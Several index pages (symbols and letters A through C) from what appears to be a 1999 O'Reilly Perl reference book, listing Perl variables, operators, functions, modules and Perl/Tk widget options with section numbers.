4.6.7. Pattern Match Variables
$& variable : 4.4.5. Regular Expression Special Variables
$< variable : 4.4.1. Global Special Variables
$> variable : 4.4.1. Global Special Variables
$' variable : 4.4.5. Regular Expression Special Variables
$@ variable : 4.4.1. Global Special Variables
$\ variable : 4.4.1. Global Special Variables
$` variable : 4.4.5. Regular Expression Special Variables
$! variable : 4.4.1. Global Special Variables
$[ variable : 4.4.1. Global Special Variables
$] variable : 4.4.1. Global Special Variables
$^ variable : 4.4.6. Filehandle Special Variables
$^A variable : 4.4.1. Global Special Variables
$^D variable : 4.4.1. Global Special Variables
$^E variable : 4.4.1. Global Special Variables
$^F variable : 4.4.1. Global Special Variables
$^H variable : 4.4.1. Global Special Variables
$^I variable : 4.4.1. Global Special Variables
$^L variable : 4.4.1. Global Special Variables
$^M variable : 4.4.1. Global Special Variables
$^O variable : 4.4.1. Global Special Variables
$^P variable : 4.4.1. Global Special Variables
$: variable : 4.4.1. Global Special Variables
$, variable : 4.4.1. Global Special Variables
$$ variable : 4.4.1. Global Special Variables
$. variable : 4.4.1. Global Special Variables
$= variable : 4.4.6. Filehandle Special Variables
$# variable : 4.4.1. Global Special Variables
$- variable : 4.4.6. Filehandle Special Variables
$( variable : 4.4.1. Global Special Variables
$) variable : 4.4.1. Global Special Variables
$% variable : 4.4.6. Filehandle Special Variables
$+ variable : 4.4.5. Regular Expression Special Variables
$? variable : 4.4.1. Global Special Variables
$" variable : 4.4.1. Global Special Variables
$; variable : 4.4.1. Global Special Variables
$/ variable : 4.4.1. Global Special Variables
$~ variable : 4.4.6. Filehandle Special Variables
$_ ($ARG) variable : 4.4.1. Global Special Variables
$| variable : 4.4.6. Filehandle Special Variables
$^T variable : 4.4.1. Global Special Variables
$^W variable : 4.4.1. Global Special Variables
$^X variable : 4.4.1. Global Special Variables
. (dot)
concatenation operator : 4.5.11.4. String operator
Perl debugger command : Chapter 6, Reference: .
regular expression metacharacter : 4.6.2. Regular Expression Syntax
.. (range) operator : 4.5.11.1. Range operator
... (range) operator : 4.5.11.1. Range operator
.= (assignment) operator : 4.5.6. Assignment Operators
= (equal sign)
assignment operator
4.2.4. Variables
4.5.6. Assignment Operators
for embedded documentation (pod) : 4.1. Program Structure
in hash name/value pairs : 4.2.4.2. Hashes
for pod commands : 4.11. Pod
== (equal to) operator : 4.5.4.2. Equality operators
=> operator, defining key/value pairs
4.2.4.2. Hashes
4.5.11.3. Comma operator
=~ (pattern match) operator : 4.5.7. Pattern Match Operators
# (hash mark)
for comments : 4.1. Program Structure
format fieldholder : 4.10. Formats
#! (shebang) line : 3. The Perl Interpreter
- (hyphen)
arithmetic negation operator : 4.5.2. Unary Operators
grid geometry manager placeholder : 18.2.2. The grid Geometry Manager
Perl debugger command : Chapter 6, Reference: -
in [...] construct : 4.6.4. Character Classes
-> (arrow) operator
4.5.1. The Arrow Operator
7.4. Object Syntax
dereferencing with : 4.8.2.1. Arrow dereferencing
-= (assignment) operator : 4.5.6. Assignment Operators
-- (autodecrement) operator : 4.5.5. Autoincrement and Autodecrement
-- option (perl) : 3.2. Command-Line Options
() (parentheses)
around function arguments : 5. Function Reference
operator precedence and : 4.5. Operators
regular expression metacharacter : 4.6.2. Regular Expression Syntax
(?...) extended regular expression syntax : 4.6.8. Extended Regular Expressions
% (percent sign)
dereferencing with : 4.8.2. Dereferencing
modulus operator : 4.5.3. Arithmetic Operators
prototype symbol (hash) : 4.7.5. Prototypes
signifying variable type : 4.2.4.2. Hashes
%= (assignment) operator : 4.5.6. Assignment Operators
+ (plus)
1 : 4.5.5. Autoincrement and Autodecrement
regular expression metacharacter : 4.6.2. Regular Expression Syntax
unary operator : 4.5.2. Unary Operators
+= (assignment) operator : 4.5.6. Assignment Operators
+? regular expression quantifier : 4.6.6. Quantifiers
? (question mark)
regular expression metacharacter : 4.6.2. Regular Expression Syntax
?: (conditional) operator : 4.5.11.2. Conditional operator
?? regular expression quantifier : 4.6.6. Quantifiers
?...? pattern match operator : 4.6.1. Pattern-Matching Operators
?...? Perl debugger command : Chapter 6, Reference: ?pattern?
; (semicolon)
ending Perl statements : 4.1. Program Structure
in prototype declarations : 4.7.5. Prototypes
/ (slash)
division operator : 4.5.3. Arithmetic Operators
encoding in URLs : 9.2. URL Encoding
/= (assignment) operator : 4.5.6. Assignment Operators
/.../ pattern match operator : 4.6. Regular Expressions
/.../ Perl debugger command : Chapter 6, Reference: /pattern/
~ (tilde)
bitwise negation operator : 4.5.2. Unary Operators
suppressing output whitespace : 4.10. Formats
~~ to print strings in fields : 4.10. Formats
_ (underscore)
filehandle : 4.4.3. Global Special Filehandles
improving number legibility : 4.2.1. Numbers
| (vertical bar)
format fieldholders : 4.10. Formats
OR bitwise operator : 4.5.10. Bitwise Operators
Perl debugger command : Chapter 6, Reference: |
regular expression metacharacter : 4.6.2. Regular Expression Syntax
|= (assignment) operator : 4.5.6. Assignment Operators
|| (logical OR) operator : 4.5.9. Logical Operators
|| Perl debugger command : Chapter 6, Reference: ||
||= (assignment) operator : 4.5.6. Assignment Operators

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: A

\A anchor (string beginning) : 4.6.5. Anchors
a command (CPAN.pm) : Chapter 2, Reference: a
a command (Perl debugger) : Chapter 6, Reference: a
A command (Perl debugger) : Chapter 6, Reference: A
-A file test operator : 4.5.8. File Test Operators
-a option (dprofpp) : 6.5. The Perl Profiler
-a option (perlbug) : 6.6. The perlbug Program
-a option (perl) : 3.2. Command-Line Options
\a (alarm) sequence : 4.6.3. Escaped Sequences
abort() (Net::FTP) : Chapter 16, Reference: abort
abs()
Perl built-in : Chapter 5, Reference: abs
URI::URL module : Chapter 17, Reference: abs
-accelerator option (Menubutton) : 18.14.1. Menu Item Options
accept()
CGI.pm module : Chapter 10, Reference: accept
HTTP::Daemon module : 17.3.7. HTTP::Daemon
IO::Socket module
Chapter 13, Reference: accept
13.2. The IO::Socket Module
13.2.2. Server-Side Sockets
Perl built-in : Chapter 5, Reference: accept
socket function
13.1. Built-in Socket Functions
13.1.3. Server Connections
access.conf file : 11.4. Running CGI Scripts with mod_perl
account() (Net::Netrc) : Chapter 16, Reference: account
account entries (.netrc) : 16.3. FTP Configuration with Net::Netrc
$ACCUMULATOR ($^A) variable : 4.4.1. Global Special Variables
activate()
Listbox widget : 18.10.2. Listbox Methods
Scrollbar widget : 18.9.1. Scrollbar Methods
active() (Net::NNTP) : Chapter 15, Reference: active
active index
Listbox widget : 18.10.1. Listbox Indexes
Menu widget : 18.15.1. Menu Indexes
Active Server Pages (ASP)
20. PerlScript
20.2. Server-Side PerlScript
active_times() (Net::NNTP) : Chapter 15, Reference: active_times
-activebackground option (widgets) : 18.3. Common Widget Configuration Options
-activeborderwidth option (Menu) : 18.15. The Menu Widget
-activeforeground option (widgets) : 18.3. Common Widget Configuration Options
ActivePerl distribution : (see ActiveState Perl)
-activerelief option (Scrollbar) : 18.9. The Scrollbar Widget
ActiveState Perl : 2.3.2. Installing on Win32
installing documentation : 2.5.1. Installing the Documentation
installing modules with : 2.4.3. Installing Modules with ActiveState Perl
add()
Mail::Send module
Chapter 14, Reference: add
14.2.2. Better Header Control with Mail::Send
Menu widget : 18.15.2. Menu Methods
add_content() (HTTP::Message) : Chapter 17, Reference: add_content
add_cookie_header() (HTTP::Cookies) : Chapter 17, Reference: add_cookie_header
add_group() (News::Newsrc) : Chapter 15, Reference: add_group
add_label() (Mail::Folder) : Chapter 14, Reference: add_label
add_signature() (Mail::Internet) : Chapter 14, Reference: add_signature
AddConnection() (Win32::NetResource) : Chapter 19, Reference: AddConnection
AddHeader()
Response object, PerlScript : 20.2.2.3. Response methods
Win32::Internet module : Chapter 19, Reference: AddHeader
AddItems() (Menubutton) : 18.14.2. Menubutton Methods
address() (Mail::Address) : Chapter 14, Reference: address
addresses (email), parsing : 14.2.6. Parse Email Addresses with Mail::Address
addTag() (Canvas) : 18.12.3. Canvas Methods
administering network servers : 19.10. Win32::NetAdmin
-after option (pack geometry manager) : 18.2.1. The pack Geometry Manager
agent() (LWP::UserAgent) : Chapter 17, Reference: agent
alarm() : Chapter 5, Reference: alarm
Alive() (Mail::POP3Client)
Chapter 14, Reference: Alive
14.2.8.5. Checking the connection
All() (Win32::OLE::Enum) : Chapter 19, Reference: All
:all method group : 10.2. Importing Method Groups
Alloc() (Win32::Console) : Chapter 19, Reference: Alloc
alternate quoting schemes : 4.2.2. String Interpolation
ampersand (&)
AND bitwise operator : 4.5.10. Bitwise Operators
calling subroutines : 4.7.1. Calling Subroutines
in encoded URLs : 9.2. URL Encoding
prototype symbol : 4.7.5. Prototypes
&& (logical AND) operator : 4.5.9. Logical Operators
&&= (assignment) operator : 4.5.6. Assignment Operators
&= (assignment) operator : 4.5.6. Assignment Operators
anchor index
Entry widget : 18.8.1. Text Indexes
Listbox widget : 18.10.1. Listbox Indexes
anchor object (PerlScript) : 20.1.1. The Document Object
-anchor option
pack geometry manager : 18.2.1. The pack Geometry Manager
place geometry manager : 18.2.3. The Place Geometry Manager
widgets : 18.3. Common Widget Configuration Options
anchors in regular expressions : 4.6.5. Anchors
AND (&) operator, bitwise : 4.5.10. Bitwise Operators
AND (&&) operator, logical : 4.5.9. Logical Operators
angle brackets <>
< Perl debugger command : Chapter 6, Reference: <
<< Perl debugger command : Chapter 6, Reference: <<
> Perl debugger command : Chapter 6, Reference: >
>> Perl debugger command : Chapter 6, Reference: >>
angle brackets (<>)
format fieldholders : 4.10. Formats
greater-than operator : 4.5.4.1. Relational operators
less-than operator : 4.5.4.1. Relational operators
<<= (assignment) operator : 4.5.6. Assignment Operators
<= (less-than-or-equal) operator : 4.5.4.1. Relational operators
<=> (comparison) operator : 4.5.4.2. Equality operators
<% %> delimiters : 20.2. Server-Side PerlScript
<...> line-input operator : 4.9. Filehandles
>> to open file for appending : 4.9. Filehandles
>>= (assignment) operator : 4.5.6. Assignment Operators
>= (greater-than-or-equal) operator : 4.5.4.1. Relational operators
anonymous data, referencing : 4.8.1.1. Referencing anonymous data
anonymous FTP
2.1. The CPAN Architecture
16.1. The FTP Protocol
anonymous subroutines : 4.7. Subroutines
antique_client() (HTTP::Daemon::ClientConn) : Chapter 17, Reference: antique_client
AnyDBM_File module : 8.1. AnyDBM_File
Apache modules : 11.7. Apache:: Modules
Apache::DumpHeaders module : 11.3. mod_perl Handlers
Apache::Include module : 11.5. Server-Side Includes with mod_perl
Apache::Registry module : 11.4. Running CGI Scripts with mod_perl
Apache server, mod_perl with : 11. Web Server Programming with mod_perl
apop() (Net::POP3) : Chapter 14, Reference: apop
appe() (Net::FTP) : Chapter 16, Reference: appe
append()
CGI.pm module : Chapter 10, Reference: append
Net::FTP module : Chapter 16, Reference: append
append_message() (Mail::Folder) : Chapter 14, Reference: append_message
AppendToLog() (Response object, PerlScript) : 20.2.2.3. Response methods
Application object (PerlScript) : 20.2. Server-Side PerlScript
$ARG ($_) variable : 4.4.1. Global Special Variables
arguments, passing to subroutines : 4.7.2. Passing Arguments
@ARGV array : 4.4.2. Global Special Arrays and Hashes
ARGV filehandle
4.4.3. Global Special Filehandles
4.9. Filehandles
-argv option (perlcc) : 3.4. The Perl Compiler
$ARGV variable : 4.4.1. Global Special Variables
arithmetic operators : 4.5.3. Arithmetic Operators
arrays
4.2. Data Types and Variables
4.2.4.1. Arrays
functions for processing : 5.1. Perl Functions by Category
special (predefined) : 4.4.2. Global Special Arrays and Hashes
arrow (->) operator
4.5.1. The Arrow Operator
7.4. Object Syntax
dereferencing with : 4.8.2.1. Arrow dereferencing
article() (Net::NNTP) : Chapter 15, Reference: article
article command (NNTP) : 15.1. The NNTP Protocol
articles, news : (see Usenet news)
As() (Win32::OLE::Variant) : Chapter 19, Reference: As
as_HTML() (HTML::Parser) : Chapter 17, Reference: as_HTML
as_string()
HTTP::Cookies module : Chapter 17, Reference: as_string
HTTP::Request module : Chapter 17, Reference: as_string
HTTP::Response module : Chapter 17, Reference: as_string
LWP modules
LWP::RobotUA module : Chapter 17, Reference: as_string
URI::URL module : Chapter 17, Reference: as_string
ascii() (Net::FTP module) : Chapter 16, Reference: ascii
Ascii() (Win32::Internet) : Chapter 19, Reference: Ascii
ASP (Active Server Pages)
20. PerlScript
20.2. Server-Side PerlScript
aspect() (Frame widget) : 18.18.1. Toplevel Methods
assignment operators : 4.5.6. Assignment Operators
asterisk (*)
multiplication operator : 4.5.3. Arithmetic Operators
prototype symbol (typeglob) : 4.7.5. Prototypes
regular expression metacharacter : 4.6.2. Regular Expression Syntax
** (exponentiation) operator : 4.5.3. Arithmetic Operators
**= (assignment) operator : 4.5.6. Assignment Operators
*= (assignment) operator : 4.5.6. Assignment Operators
*? regular expression quantifier : 4.6.6. Quantifiers
at sign (@)
@_ array : 4.7.2. Passing Arguments
dereferencing with : 4.8.2. Dereferencing
format fieldholders : 4.10. Formats
prototype symbol (list) : 4.7.5. Prototypes
signifying arrays : 4.2.4.1. Arrays
atan2() : Chapter 5, Reference: atan2
attr() (HTML::Parser) : Chapter 17, Reference: attr
Attr() (Win32::Console) : Chapter 19, Reference: Attr
attrs module : 8.2. attrs
auth_type() (CGI.pm) : Chapter 10, Reference: auth_type
AUTH_TYPE variable : 9.4. CGI Environment Variables
authentication, POP3 : 14.1.3. Retrieving Email with Net::POP3
authinfo() (Net::NNTP) : Chapter 15, Reference: authinfo
authorize() (Net::FTP) : Chapter 16, Reference: authorize
autobundle command (CPAN.pm) : Chapter 2, Reference: autobundle
AutoCommit attribute (DBI) : 12.2.3. Database Handles and Statement Handles
autodecrement (--) operator : 4.5.5. Autoincrement and Autodecrement
autoEscape() (CGI.pm) : Chapter 10, Reference: autoEscape
autoincrement (++) operator : 4.5.5. Autoincrement and Autodecrement
AutoLoader module : 8.3. AutoLoader
automatic line-end processing : 3.2. Command-Line Options
automation server : 19.18. OLE Automation
autosplit mode : 3.2. Command-Line Options
AutoSplit module : 8.4. AutoSplit
autouse module : 8.5. autouse
available_drivers() (DBI) : Chapter 12, Reference: available_drivers

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: B

\B anchor (not word boundary) : 4.6.5. Anchors
\b anchor (word boundary) : 4.6.5. Anchors
b command (CPAN.pm) : Chapter 2, Reference: b
b command (Perl debugger) : Chapter 6, Reference: b
-B file test operator : 4.5.8. File Test Operators
-b file test operator : 4.5.8. File Test Operators
B<> interior sequence (pod) : 4.11.2. Interior sequences
B module : 8.6. B
-b option (perlbug) : 6.6. The perlbug Program
B::Asmdata module : 8.7. B::Asmdata
B::Assembler module : 8.8. B::Assembler
B::Bytecode module : 8.10. B::Bytecode
B::C module : 8.11. B::C
B::CC module : 8.12. B::CC
B::Debug module : 8.13. B::Debug
B::Deparse module : 8.14. B::Deparse
B::Disassembler module : 8.15. B::Disassembler
B::Lint module : 8.16. B::Lint
B::Showlex module : 8.17. B::Showlex
B::Stackobj module : 8.18. B::Stackobj
B::Terse module : 8.19. B::Terse
B::Xref module : 8.20. B::Xref
=back command (pod) : Chapter 4, Reference: =back
-background option (widgets) : 18.3. Common Widget Configuration Options
backreferences : 4.6.7. Pattern Match Variables
backslash (\)
creating references : 4.8.1. Creating References
in prototype declarations : 4.7.5. Prototypes
reference creation operator : 4.5.2. Unary Operators
regular expression metacharacter : 4.6.2. Regular Expression Syntax
\1, \2, ... pattern match variables : 4.6.7. Pattern Match Variables
Backup() (Win32::EventLog) : Chapter 19, Reference: Backup
bang (!)
CPAN.pm eval command : Chapter 2, Reference: !
logical negation operator : 4.5.2. Unary Operators
.newsrc entries : 15.3. The News::Newsrc Module
Perl debugger command : Chapter 6, Reference: !
!! Perl debugger command : Chapter 6, Reference: !!
!= (not equal to) operator : 4.5.4.2. Equality operators
!~ (pattern match) operator : 4.5.7. Pattern Match Operators
Barber, Stan : 15. Usenet News
Barr, Graham : 14. Email Connectivity
base()
HTTP::Response module : Chapter 17, Reference: base
URI::URL module : Chapter 17, Reference: base
base module : 8.21. base
$BASETIME ($^T) variable : 4.4.1. Global Special Variables
bbox()
Canvas widget : 18.12.3. Canvas Methods
Listbox widget : 18.10.2. Listbox Methods
Text widget : 18.11.2. Text Methods
bcc() (Mail::Send) : Chapter 14, Reference: bcc
-bd option (widgets) : 18.3. Common Widget Configuration Options
-before option (pack geometry manager) : 18.2.1. The pack Geometry Manager
=begin command (pod) : Chapter 4, Reference: =begin
Benchmark module : 8.22. Benchmark
-bg option (widgets) : 18.3. Common Widget Configuration Options
-bigincrement option (Scale) : 18.13. The Scale Widget
binary() (Net::FTP) : Chapter 16, Reference: binary
Binary() (Win32::Internet) : Chapter 19, Reference: Binary
binary Perl distributions
2.3.1. Installing on Unix
2.3.2.1. ActivePerl
BinaryRead() (Request object, PerlScript) : 20.2.1. The Request Object
BinaryWrite() (Response object, PerlScript) : 20.2.2.3. Response methods
bind() : Chapter 5, Reference: bind
Canvas module : 18.12.3. Canvas Methods
Socket module
13.1. Built-in Socket Functions
13.1.3. Server Connections
bind_col() (DBI) : Chapter 12, Reference: bind_col
bind_columns() (DBI) : Chapter 12, Reference: bind_columns
bind_param() (DBI) : Chapter 12, Reference: bind_param
binmode() : Chapter 5, Reference: binmode
-bitmap option (widgets) : 18.3. Common Widget Configuration Options
bitwise operators : 4.5.10. Bitwise Operators
bless() : Chapter 5, Reference: bless
blib module : 8.23. blib
block of statements : 4.3. Statements
body() (Net::NNTP) : Chapter 15, Reference: body
Body()
Mail::Internet module : Chapter 14, Reference: body
Mail::POP3Client module
Chapter 14, Reference: Body
14.2.8.3. Retrieving the message body
bookdb.dir, bookdb.pag files : 12.1. DBM Databases and DBM Hashes
books, Perl-related
1.4.9. Books
Acknowledgments
-bordermode option (place geometry manager) : 18.2.3. The Place Geometry Manager
-borderwidth option (widgets) : 18.3. Common Widget Configuration Options
braces {}
delimiting statement blocks : 4.3. Statements
regular expression metacharacter : 4.6.2. Regular Expression Syntax
regular expression quantifiers : 4.6.6. Quantifiers
{ Perl debugger command : Chapter 6, Reference: {
{{ Perl debugger command : Chapter 6, Reference: {{
brackets []
Perl debugger command : Chapter 6, Reference: =
regular expression metacharacter
4.6.2. Regular Expression Syntax
4.6.4. Character Classes
Buffer property (Response object) : 20.2.2.2. Response properties
bugs in Perl, reporting
(see also debugging)
6.6. The perlbug Program
built-in functions : 5. Function Reference
listed alphabetically : 5.2. Perl Functions in Alphabetical Order
listed by category : 5.1. Perl Functions by Category
socket-related : 13.1. Built-in Socket Functions
built-in Perl variables : 4.4. Special Variables
button() (CGI.pm) : Chapter 10, Reference: button
Button widget (Perl/Tk) : 18.4. The Button Widget
byte() (Net::FTP) : Chapter 16, Reference: byte
Bytecode backend (Perl compiler) : 3.4. The Perl Compiler
byteperl interpreter : 3.4. The Perl Compiler

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: C

c command (Perl debugger) : Chapter 6, Reference: c
-c file test operator : 4.5.8. File Test Operators
-C file test operator : 4.5.8. File Test Operators
C<> interior sequence (pod) : 4.11.2. Interior sequences
-C option (perlbug) : 6.6. The perlbug Program
-c option (perlbug) : 6.6. The perlbug Program
-c option (perl) : 3.2. Command-Line Options
C preprocessor (cpp) : 3.2. Command-Line Options
C, CC backends (Perl compiler) : 3.4. The Perl Compiler
-C option (perlcc) : 3.4. The Perl Compiler
CacheControl property (Response object) : 20.2.2.2. Response properties
callbacks, widget (Perl/Tk) : 18.1.3. Callbacks
caller() : Chapter 5, Reference: caller
Camel image
1.4.9. Books
Acknowledgments
cancel() (Mail::Send) : Chapter 14, Reference: cancel
CancelConnection() (Win32::NetResource) : Chapter 19, Reference: CancelConnection
canon() (Mail::Address) : Chapter 14, Reference: canon
CanonicalizeURL() (Win32::Internet) : Chapter 19, Reference: CanonicalizeURL
Canvas widget (Perl/Tk) : 18.12. The Canvas Widget
Capini, Aldo : 19. Win32 Modules and Extensions
caret (^)
in [...] construct : 4.6.4. Character Classes
filled field fieldholder : 4.10. Formats
grid geometry manager placeholder : 18.2.2. The grid Geometry Manager
regular expression anchor : 4.6.5. Anchors
regular expression metacharacter : 4.6.2. Regular Expression Syntax
XOR bitwise operator : 4.5.10. Bitwise Operators
^= (assignment) operator : 4.5.6. Assignment Operators
Carp module : 8.24. Carp
cascade() (Menubutton) : 18.14.2. Menubutton Methods
cc() (Mail::Send) : Chapter 14, Reference: cc
Cd() (Win32::Internet) : Chapter 19, Reference: Cd
cdup() (Net::FTP) : Chapter 16, Reference: cdup
cget() (Perl/Tk) : 18.1.1.2. The cget method
CGI modules : 8.25. CGI
CGI::Apache module : 8.26. CGI::Apache
CGI::Carp module : 8.27. CGI::Carp
CGI::Cookie module : 8.28. CGI::Cookie
CGI::Fast module : 8.29. CGI::Fast
CGI::Push module : 8.30. CGI::Push
CGI::Switch module : 8.31. CGI::Switch
CGI programs : 9. CGI Overview
debugging : 10.6. Debugging
environment variables for : 9.4. CGI Environment Variables
example CGI interaction : 9.1. A Typical CGI Interaction
extra path information : 9.3. Extra Path Information
maintaining state : 10.3. Maintaining State
named parameters : 10.4. Named Parameters
running with mod_perl : 11.4. Running CGI Scripts with mod_perl
URL encoding : 9.2. URL Encoding
:cgi, :cgi-lib method groups : 10.2. Importing Method Groups
CGI.pm module
9. CGI Overview
10. The CGI.pm Module
debugging scripts : 10.6. Debugging
generating HTML tags : 10.1. HTML Tag Generation
importing method groups : 10.2. Importing Method Groups
JavaScript features with : 10.5. Using JavaScript Features
named parameters : 10.4. Named Parameters
ChangeType() (Win32::OLE::Variant) : Chapter 19, Reference: ChangeType
character classes : 4.6.4. Character Classes
Charset property (Response object) : 20.2.2.2. Response properties
chdir() : Chapter 5, Reference: chdir
checkbox() (CGI.pm) : Chapter 10, Reference: checkbox
checkbox_group() (CGI.pm) : Chapter 10, Reference: checkbox_group
checkbutton() (Menubutton) : 18.14.2. Menubutton Methods
Checkbutton widget (Perl/Tk) : 18.5. The Checkbutton Widget
$CHILD_ERROR ($?) variable : 4.4.1. Global Special Variables
chmod() : Chapter 5, Reference: chmod
chomp() : Chapter 5, Reference: chomp
chop() : Chapter 5, Reference: chop
ChopBlanks attribute (DBI) : 12.2.3. Database Handles and Statement Handles
chown() : Chapter 5, Reference: chown
chr() : Chapter 5, Reference: chr
Christiansen, Tom : 1.4.4. www.perl.com
chroot() : Chapter 5, Reference: chroot
class methods : 7.4. Object Syntax
-class option
Frame widget : 18.17. The Frame Widget
toplevel widget : 18.18. The Toplevel Widget
Class::Struct module : 8.32. Class::Struct
classes, functions for : 5.1. Perl Functions by Category
clean command (CPAN.pm) : Chapter 2, Reference: clean
clear() (HTTP::Cookies) : Chapter 17, Reference: clear
Clear()
Response object, PerlScript : 20.2.2.3. Response methods
Win32::EventLog module : Chapter 19, Reference: Clear
clear() (document object, PerlScript) : 20.1.1.1. Document methods
clear_label() (Mail::Folder) : Chapter 14, Reference: clear_label
client() (Frame widget) : 18.18.1. Toplevel Methods
client-side PerlScript
20. PerlScript
20.1. Client-Side PerlScript
client-side socket connections
13.1.2. Client Connections
13.2.1. Client-Side Sockets
ClientCertificate collection : 20.2.1. The Request Object
clipboard, manipulating : 19.1. Win32::Clipboard
Clone() (Win32::OLE::Enum) : Chapter 19, Reference: Clone
clone()
HTTP::Headers module : Chapter 17, Reference: clone
HTTP::Message module : Chapter 17, Reference: clone
LWP modules
LWP::UserAgent module : Chapter 17, Reference: clone
close()
Chapter 5, Reference: close
4.9. Filehandles
document object (PerlScript) : 20.1.1.1. Document methods
Mail::Folder module : Chapter 14, Reference: close
Mail::Mailer module : Chapter 14, Reference: close
Mail::Send module : Chapter 14, Reference: close
Win32::ChangeNotification module : Chapter 19, Reference: close
Close()
Mail::POP3Client module
Chapter 14, Reference: Close
14.2.8.6. Explicitly opening and closing connections
Win32::Internet module : Chapter 19, Reference: Close
Win32::Shortcut module : Chapter 19, Reference: Close
closedir() : Chapter 5, Reference: closedir
-closeenough option (Canvas) : 18.12. The Canvas Widget
Cls() (Win32::Console) : Chapter 19, Reference: Cls
code() (HTTP::Response) : Chapter 17, Reference: code
collection objects
19.18.3. Win32::OLE::Enum
20.2.1. The Request Object
colon (:)
.newsrc entries : 15.3. The News::Newsrc Module
in package names" : 7.1. Namespaces and Packages
-colormap option
Frame widget : 18.17. The Frame Widget
toplevel widget : 18.18. The Toplevel Widget
colormapwindows() (Frame widget) : 18.18.1. Toplevel Methods
colors, widget : 18.1.4. Colors and Fonts
-column option (grid manager) : 18.2.2. The grid Geometry Manager
-columnspan option (grid manager) : 18.2.2. The grid Geometry Manager
CombineURL() (Win32::Internet) : Chapter 19, Reference: CombineURL
comma (,)
number legibility without : 4.2.1. Numbers
operator : 4.5.11.3. Comma operator
command()
Frame widget : 18.18.1. Toplevel Methods
Menubutton widget : 18.14.2. Menubutton Methods
-command option : 18.1.3. Callbacks
Button widget : 18.4. The Button Widget
Checkbutton widget : 18.5. The Checkbutton Widget
Menubutton widget : 18.14.1. Menu Item Options
Optionmenu widget : 18.16. The Optionmenu Widget
Radiobutton widget : 18.6. The Radiobutton Widget
Scale widget : 18.13. The Scale Widget
Scrollbar widget : 18.9. The Scrollbar Widget
command processing on #! line : 3.1. Command Processing
command-line options (perl interpreter) : 3.2. Command-Line Options
commands, Perl debugger : 6.2. Debugger Commands
comment() (Mail::Address) : Chapter 14, Reference: comment
comments : 4.1. Program Structure
commit() (DBI) : Chapter 12, Reference: commit
Common Gateway Interface : (see CGI programs)
compare() (Text widget) : 18.11.2. Text Methods
comparison operators
4.5.4.1. Relational operators
4.5.4.2. Equality operators
CompatMode attribute (DBI) : 12.2.3. Database Handles and Statement Handles
compiler, Perl : 3.4. The Perl Compiler
complex data structures : 4.8. References and Complex Data Structures
concatenation (.) operator : 4.5.11.4. String operator
conditional (?:) operator : 4.5.11.2. Conditional operator
conditional modifiers : 4.3.1.4. Modifiers
conditional statements : 4.3.1. Conditionals and Loops
Config module : 8.33. Config
configure() (Perl/Tk) : 18.1.1.1. The configure method
-confine option (Canvas) : 18.12. The Canvas Widget
connect() : Chapter 5, Reference: connect
DBI module : Chapter 12, Reference: connect
Socket module
13.1. Built-in Socket Functions
13.1.2. Client Connections
Connect() (Mail::POP3Client) : Chapter 14, Reference: Connect
ConnectBackoff() (Win32::Internet) : Chapter 19, Reference: ConnectBackoff
ConnectRetries() (Win32::Internet) : Chapter 19, Reference: ConnectionRetries
ConnectTimeout() (Win32::Internet) : Chapter 19, Reference: ConnectTimeout
console implementation : 19.2. Win32::Console
constant module : 8.34. constant
constant() (Win32::FileSecurity) : Chapter 19, Reference: constant
constants, global special (predefined) : 4.4.4. Global Special Constants
constructors
(see new())
7.3. Object-Oriented Perl
content()
HTML::Parser module : Chapter 17, Reference: content
HTTP::Message module : Chapter 17, Reference: content
CONTENT_LENGTH variable : 9.4. CGI Environment Variables
content_ref() (HTTP::Message) : Chapter 17, Reference: content_ref
Content-type header : 9.1.2. Creating Virtual Documents
CONTENT_TYPE variable : 9.4. CGI Environment Variables
ContentType property (Response object) : 20.2.2.2. Response properties
context : 4.2.5. Scalar and List Contexts
continue block : 4.3.1.1. while loops
ControlReceiveTimeout() (Win32::Internet) : Chapter 19, Reference: ControlReceiveTimeout
ControlSendTimeout() (Win32::Internet) : Chapter 19, Reference: ControlSendTimeout
cookie()
CGI.pm module : Chapter 10, Reference: cookie
LWP modules
LWP::UserAgent module : Chapter 17, Reference: cookie_jar
Cookie header : 17.3.6. HTTP::Cookies
cookies
8.28. CGI::Cookie
10.3. Maintaining State
HTTP::Cookies module : 17.3.6. HTTP::Cookies
HTTP::Cookies::Netscape module : 17.3.6.1. HTTP::Cookies::Netscape
setting (PerlScript) : 20.2.2.1. Setting cookies
Cookies collection : 20.2.1. The Request Object
coords()
Canvas widget : 18.12.3. Canvas Methods
Scale widget : 18.13.1. Scale Methods
core dumps : 3.2. Command-Line Options
cos() : Chapter 5, Reference: cos
Count()
Mail::POP3Client module
Chapter 14, Reference: Count
14.2.8.1. Counting messages
Win32::OLE::Enum module : 19.18.3. Win32::OLE::Enum
counting email messages : 14.2.8.1. Counting messages
CPAN (Comprehensive Perl Archive Network) : 2. Installing Perl
CPAN::FirstTime module : 8.36. CPAN::FirstTime
CPAN::Nox module : 8.37. CPAN::Nox
CPAN.pm module
2.4.4. Installing Modules with the CPAN Module
8.35. CPAN
finding available modules : 2.4.1. Locating modules
cpp (C preprocessor) : 3.2. Command-Line Options
crack() (URI::URL) : Chapter 17, Reference: crack
CrackURL() (Win32::Internet) : Chapter 19, Reference: CrackURL
Create()
Win32::Process module : 19.12. Win32::Process
Win32::Registry module : Chapter 19, Reference: Create
createArc() (Canvas) : 18.12.1. Canvas Creation Methods
createBitmap() (Canvas) : 18.12.1. Canvas Creation Methods
createImage() (Canvas) : 18.12.1. Canvas Creation Methods
createLine() (Canvas) : 18.12.1. Canvas Creation Methods
createOval() (Canvas) : 18.12.1. Canvas Creation Methods
createPolygon() (Canvas) : 18.12.1. Canvas Creation Methods
